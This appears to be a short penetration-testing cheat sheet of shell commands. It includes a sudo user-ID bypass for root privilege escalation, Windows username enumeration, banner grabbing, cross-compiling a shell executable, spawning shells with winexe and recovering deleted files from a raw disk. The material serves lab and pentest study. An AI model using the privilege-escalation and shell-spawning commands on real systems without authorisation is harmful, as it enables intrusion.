sudo -s
# Can't execute /bin/bash?
# Older version of sudo are vulnerable to this priv esc method:
sudo -u#-1 /bin/bash
No "whoami" on Windows?
try:
echo %username%
set
# if the above do not work, you may transfer Kali's 'whoami.exe'to victim machine
Banner Grab a website
curl -s -I IP_ADDRESS
Mingw C compiler for windows
x86_64-w64-mingw32-gcc shell.c -o shell.exe <--for 64 bit
i686-w64-mingw32-gcc shell.c -o shell.exe <--for 32 bit
winexe
In Kali, the winexe can be used to spawn a shell, for windows 2003, XP, and earlier. Unlikely to find these operating systems in the wild, but they may be in pentesting labs.
grep --binary-files=text --context=100 'root' /dev/sdb > /tmp/root.txt
#assuming the deleted file was originally stored on /dev/sdb and contained the word
#root in the filename, we can partially recover it and save it as /tmp/root/txt